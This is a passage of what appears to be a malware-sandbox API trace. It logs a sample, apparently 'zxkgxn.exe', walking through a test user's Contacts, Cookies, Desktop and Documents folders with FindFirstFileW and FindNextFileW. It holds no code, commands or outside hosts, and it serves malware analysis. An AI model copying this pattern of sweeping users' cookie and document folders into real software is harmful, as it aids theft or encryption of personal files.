ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0124.710] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ef60 | out: hHeap=0x5c0000) returned 1 [0124.710] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.710] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ea7ef20, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2ea7ef20, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2ea7ef20, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x49a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Aclviho ASldjfl.contact", cAlternateFileName="ACLVIH~1.CON")) returned 1 [0124.710] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf0fefd94, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x10b1e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Administrator.contact", cAlternateFileName="ADMINI~1.CON")) returned 1 [0124.710] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaa5080, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaa5080, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaa5080, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x493, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="asdlfk poopvy.contact", cAlternateFileName="ASDLFK~1.CON")) returned 1 [0124.710] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eacb1e0, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eacb1e0, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eacb1e0, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x499, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="chucu jadnvk.contact", cAlternateFileName="CHUCUJ~1.CON")) returned 1 [0124.710] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0124.710] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x496, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="lulcit amkdfe.contact", cAlternateFileName="LULCIT~1.CON")) returned 1 [0124.710] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sikvnb huvuib.contact", cAlternateFileName="SIKVNB~1.CON")) returned 1 [0124.710] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sikvnb huvuib.contact", cAlternateFileName="SIKVNB~1.CON")) returned 0 [0124.710] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0124.710] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3038158 | out: hHeap=0x5c0000) returned 1 [0124.710] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f4a0 | out: hHeap=0x5c0000) returned 1 [0124.710] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.710] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies\\") returned="Cookies\\" [0124.710] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0124.710] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0124.710] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.710] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.710] PathFindFileNameW (pszPath="") returned="" [0124.710] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sikvnb huvuib.contact", cAlternateFileName="SIKVNB~1.CON")) returned 0xffffffff [0124.711] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f4f8 | out: hHeap=0x5c0000) returned 1 [0124.711] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3038158 | out: hHeap=0x5c0000) returned 1 [0124.711] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f4a0 | out: hHeap=0x5c0000) returned 1 [0124.711] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.711] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="Desktop\\" [0124.711] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0124.711] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0124.711] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.711] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.711] PathFindFileNameW (pszPath="") returned="" [0124.711] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x5948bb70, ftLastAccessTime.dwHighDateTime=0x1d52f22, ftLastWriteTime.dwLowDateTime=0x5948bb70, ftLastWriteTime.dwHighDateTime=0x1d52f22, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0124.713] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f4f8 | out: hHeap=0x5c0000) returned 1 [0124.713] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x5948bb70, ftLastAccessTime.dwHighDateTime=0x1d52f22, ftLastWriteTime.dwLowDateTime=0x5948bb70, ftLastWriteTime.dwHighDateTime=0x1d52f22, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.713] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe322f2b0, ftCreationTime.dwHighDateTime=0x1d4cb69, ftLastAccessTime.dwLowDateTime=0x21c29e50, ftLastAccessTime.dwHighDateTime=0x1d4c7f3, ftLastWriteTime.dwLowDateTime=0x21c29e50, ftLastWriteTime.dwHighDateTime=0x1d4c7f3, nFileSizeHigh=0x0, nFileSizeLow=0x5cd4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="0N28733.jpg", cAlternateFileName="")) returned 1 [0124.713] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc599370, ftCreationTime.dwHighDateTime=0x1d4c931, ftLastAccessTime.dwLowDateTime=0x27c8d980, ftLastAccessTime.dwHighDateTime=0x1d4cb55, ftLastWriteTime.dwLowDateTime=0x27c8d980, ftLastWriteTime.dwHighDateTime=0x1d4cb55, nFileSizeHigh=0x0, nFileSizeLow=0xa783, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="2_-YQaqX40ls7kZnQI.png", cAlternateFileName="2_-YQA~1.PNG")) returned 1 [0124.713] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75eaeb20, ftCreationTime.dwHighDateTime=0x1d4d402, ftLastAccessTime.dwLowDateTime=0x2ff59750, ftLastAccessTime.dwHighDateTime=0x1d4cfed, ftLastWriteTime.dwLowDateTime=0x2ff59750, ftLastWriteTime.dwHighDateTime=0x1d4cfed, nFileSizeHigh=0x0, nFileSizeLow=0x11abf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="4hZE9nFAdJv.png", cAlternateFileName="4HZE9N~1.PNG")) returned 1 [0124.713] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a4de910, ftCreationTime.dwHighDateTime=0x1d4cd4a, ftLastAccessTime.dwLowDateTime=0xb9bf4b90, ftLastAccessTime.dwHighDateTime=0x1d4c9f1, ftLastWriteTime.dwLowDateTime=0xb9bf4b90, ftLastWriteTime.dwHighDateTime=0x1d4c9f1, nFileSizeHigh=0x0, nFileSizeLow=0x162b7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="6bvJUbgBGTbsIJMKW8.jpg", cAlternateFileName="6BVJUB~1.JPG")) returned 1 [0124.713] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3b5590, ftCreationTime.dwHighDateTime=0x1d4c8c0, ftLastAccessTime.dwLowDateTime=0xef5a45d0, ftLastAccessTime.dwHighDateTime=0x1d4cb2b, ftLastWriteTime.dwLowDateTime=0xef5a45d0, ftLastWriteTime.dwHighDateTime=0x1d4cb2b, nFileSizeHigh=0x0, nFileSizeLow=0x13ff9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="6igNpwR0pgLT9a.m4a", cAlternateFileName="6IGNPW~1.M4A")) returned 1 [0124.713] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4460140, ftCreationTime.dwHighDateTime=0x1d4c56f, ftLastAccessTime.dwLowDateTime=0xf70d2610, ftLastAccessTime.dwHighDateTime=0x1d4c82b, ftLastWriteTime.dwLowDateTime=0xf70d2610, ftLastWriteTime.dwHighDateTime=0x1d4c82b, nFileSizeHigh=0x0, nFileSizeLow=0x11d7a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="75tKv_wPWu nle.flv", cAlternateFileName="75TKV_~1.FLV")) returned 1 [0124.713] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54188870, ftCreationTime.dwHighDateTime=0x1d4c969, ftLastAccessTime.dwLowDateTime=0xc969d4f0, ftLastAccessTime.dwHighDateTime=0x1d4ccff, ftLastWriteTime.dwLowDateTime=0xc969d4f0, ftLastWriteTime.dwHighDateTime=0x1d4ccff, nFileSizeHigh=0x0, nFileSizeLow=0xd48c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ay_t-P.bmp", cAlternateFileName="")) returned 1 [0124.713] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9fa4c440, ftCreationTime.dwHighDateTime=0x1d4d498, ftLastAccessTime.dwLowDateTime=0x65558c00, ftLastAccessTime.dwHighDateTime=0x1d4cba3, ftLastWriteTime.dwLowDateTime=0x65558c00, ftLastWriteTime.dwHighDateTime=0x1d4cba3, nFileSizeHigh=0x0, nFileSizeLow=0x12c0b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="C6eN8spyaXs9O5N.wav", cAlternateFileName="C6EN8S~1.WAV")) returned 1 [0124.713] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0124.713] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x98c726f0, ftCreationTime.dwHighDateTime=0x1d4c795, ftLastAccessTime.dwLowDateTime=0x46ca3930, ftLastAccessTime.dwHighDateTime=0x1d4d00c, ftLastWriteTime.dwLowDateTime=0x46ca3930, ftLastWriteTime.dwHighDateTime=0x1d4d00c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="eyzvk3aytLrTvd", cAlternateFileName="EYZVK3~1")) returned 1 [0124.713] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4446710, ftCreationTime.dwHighDateTime=0x1d4cb28, ftLastAccessTime.dwLowDateTime=0xd8f1d8b0, ftLastAccessTime.dwHighDateTime=0x1d4cccc, ftLastWriteTime.dwLowDateTime=0xd8f1d8b0, ftLastWriteTime.dwHighDateTime=0x1d4cccc, nFileSizeHigh=0x0, nFileSizeLow=0xb480, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="iMKYkmcr3Dm3Fk6ffK.ots", cAlternateFileName="IMKYKM~1.OTS")) returned 1 [0124.713] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82ea1a00, ftCreationTime.dwHighDateTime=0x1d4d5a4, ftLastAccessTime.dwLowDateTime=0xf5918ec0, ftLastAccessTime.dwHighDateTime=0x1d4ca3d, ftLastWriteTime.dwLowDateTime=0xf5918ec0, ftLastWriteTime.dwHighDateTime=0x1d4ca3d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="iN9wXlo7M3", cAlternateFileName="IN9WXL~1")) returned 1 [0124.713] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41193590, ftCreationTime.dwHighDateTime=0x1d4d21e, ftLastAccessTime.dwLowDateTime=0x84a06d90, ftLastAccessTime.dwHighDateTime=0x1d4ca14, ftLastWriteTime.dwLowDateTime=0x84a06d90, ftLastWriteTime.dwHighDateTime=0x1d4ca14, nFileSizeHigh=0x0, nFileSizeLow=0x14a4d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="kP8ULRqZpLx.m4a", cAlternateFileName="KP8ULR~1.M4A")) returned 1 [0124.713] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77274e0, ftCreationTime.dwHighDateTime=0x1d4c982, ftLastAccessTime.dwLowDateTime=0x9288ca10, ftLastAccessTime.dwHighDateTime=0x1d4d3b0, ftLastWriteTime.dwLowDateTime=0x9288ca10, ftLastWriteTime.dwHighDateTime=0x1d4d3b0, nFileSizeHigh=0x0, nFileSizeLow=0x1569b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OXbBkJHSc.ods", cAlternateFileName="OXBBKJ~1.ODS")) returned 1 [0124.713] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3e22410, ftCreationTime.dwHighDateTime=0x1d4c80d, ftLastAccessTime.dwLowDateTime=0x22f7fca0, ftLastAccessTime.dwHighDateTime=0x1d4cbba, ftLastWriteTime.dwLowDateTime=0x22f7fca0, ftLastWriteTime.dwHighDateTime=0x1d4cbba, nFileSizeHigh=0x0, nFileSizeLow=0x50dc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="p41R3hPr.swf", cAlternateFileName="")) returned 1 [0124.713] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9e1f440, ftCreationTime.dwHighDateTime=0x1d4cb14, ftLastAccessTime.dwLowDateTime=0x104fdd50, ftLastAccessTime.dwHighDateTime=0x1d4c680, ftLastWriteTime.dwLowDateTime=0x104fdd50, ftLastWriteTime.dwHighDateTime=0x1d4c680, nFileSizeHigh=0x0, nFileSizeLow=0x10d8d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pAeUc4J9behwUSLh5ZK.ppt", cAlternateFileName="PAEUC4~1.PPT")) returned 1 [0124.713] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57dd2530, ftCreationTime.dwHighDateTime=0x1d4ce85, ftLastAccessTime.dwLowDateTime=0x60963c80, ftLastAccessTime.dwHighDateTime=0x1d4c740, ftLastWriteTime.dwLowDateTime=0x60963c80, ftLastWriteTime.dwHighDateTime=0x1d4c740, nFileSizeHigh=0x0, nFileSizeLow=0xc257, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PolmUMHRORMWgP.swf", cAlternateFileName="POLMUM~1.SWF")) returned 1 [0124.713] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb37eb360, ftCreationTime.dwHighDateTime=0x1d4d03b, ftLastAccessTime.dwLowDateTime=0xd0138970, ftLastAccessTime.dwHighDateTime=0x1d4c8c9, ftLastWriteTime.dwLowDateTime=0xd0138970, ftLastWriteTime.dwHighDateTime=0x1d4c8c9, nFileSizeHigh=0x0, nFileSizeLow=0x3d91, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="QATxQ8 VuKhKsG6j5boU.m4a", cAlternateFileName="QATXQ8~1.M4A")) returned 1 [0124.713] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80eef710, ftCreationTime.dwHighDateTime=0x1d4cb00, ftLastAccessTime.dwLowDateTime=0xd0b791e0, ftLastAccessTime.dwHighDateTime=0x1d4c5b9, ftLastWriteTime.dwLowDateTime=0xd0b791e0, ftLastWriteTime.dwHighDateTime=0x1d4c5b9, nFileSizeHigh=0x0, nFileSizeLow=0xa17e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="qTEbn_aHVk98J.pdf", cAlternateFileName="QTEBN_~1.PDF")) returned 1 [0124.713] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c11c7d0, ftCreationTime.dwHighDateTime=0x1d4cb70, ftLastAccessTime.dwLowDateTime=0x25874390, ftLastAccessTime.dwHighDateTime=0x1d4c697, ftLastWriteTime.dwLowDateTime=0x25874390, ftLastWriteTime.dwHighDateTime=0x1d4c697, nFileSizeHigh=0x0, nFileSizeLow=0xd78f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="q_qr72fTT.mkv", cAlternateFileName="Q_QR72~1.MKV")) returned 1 [0124.713] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7bdab00, ftCreationTime.dwHighDateTime=0x1d4cc42, ftLastAccessTime.dwLowDateTime=0x565f8a80, ftLastAccessTime.dwHighDateTime=0x1d4d2e6, ftLastWriteTime.dwLowDateTime=0x565f8a80, ftLastWriteTime.dwHighDateTime=0x1d4d2e6, nFileSizeHigh=0x0, nFileSizeLow=0x913a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="rzNuUzflSMr4Y.wav", cAlternateFileName="RZNUUZ~1.WAV")) returned 1 [0124.713] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3144900, ftCreationTime.dwHighDateTime=0x1d4cc7c, ftLastAccessTime.dwLowDateTime=0xecc58590, ftLastAccessTime.dwHighDateTime=0x1d4cbf9, ftLastWriteTime.dwLowDateTime=0xecc58590, ftLastWriteTime.dwHighDateTime=0x1d4cbf9, nFileSizeHigh=0x0, nFileSizeLow=0xfb91, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="t1oDIACQ6VZc-ArQIwpX.bmp", cAlternateFileName="T1ODIA~1.BMP")) returned 1 [0124.713] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa88b12c0, ftCreationTime.dwHighDateTime=0x1d4c6d4, ftLastAccessTime.dwLowDateTime=0xa76394b0, ftLastAccessTime.dwHighDateTime=0x1d4c87f, ftLastWriteTime.dwLowDateTime=0xa76394b0, ftLastWriteTime.dwHighDateTime=0x1d4c87f, nFileSizeHigh=0x0, nFileSizeLow=0x17462, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Yg5sCFMNs8oiIw.swf", cAlternateFileName="YG5SCF~1.SWF")) returned 1 [0124.714] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c222f80, ftCreationTime.dwHighDateTime=0x1d52f22, ftLastAccessTime.dwLowDateTime=0x4c222f80, ftLastAccessTime.dwHighDateTime=0x1d52f22, ftLastWriteTime.dwLowDateTime=0x4b899900, ftLastWriteTime.dwHighDateTime=0x1d52f22, nFileSizeHigh=0x0, nFileSizeLow=0x8d200, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zxkgxn.exe", cAlternateFileName="")) returned 1 [0124.714] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c222f80, ftCreationTime.dwHighDateTime=0x1d52f22, ftLastAccessTime.dwLowDateTime=0x4c222f80, ftLastAccessTime.dwHighDateTime=0x1d52f22, ftLastWriteTime.dwLowDateTime=0x4b899900, ftLastWriteTime.dwHighDateTime=0x1d52f22, nFileSizeHigh=0x0, nFileSizeLow=0x8d200, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zxkgxn.exe", cAlternateFileName="")) returned 0 [0124.714] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0124.714] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3038158 | out: hHeap=0x5c0000) returned 1 [0124.714] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f4a0 | out: hHeap=0x5c0000) returned 1 [0124.714] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.714] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0124.714] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0124.714] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0124.714] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.714] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.714] PathFindFileNameW (pszPath="") returned="" [0124.714] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x51c30310, ftLastAccessTime.dwHighDateTime=0x1d52f22, ftLastWriteTime.dwLowDateTime=0x51c30310, ftLastWriteTime.dwHighDateTime=0x1d52f22, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0124.714] HeapFree (in: 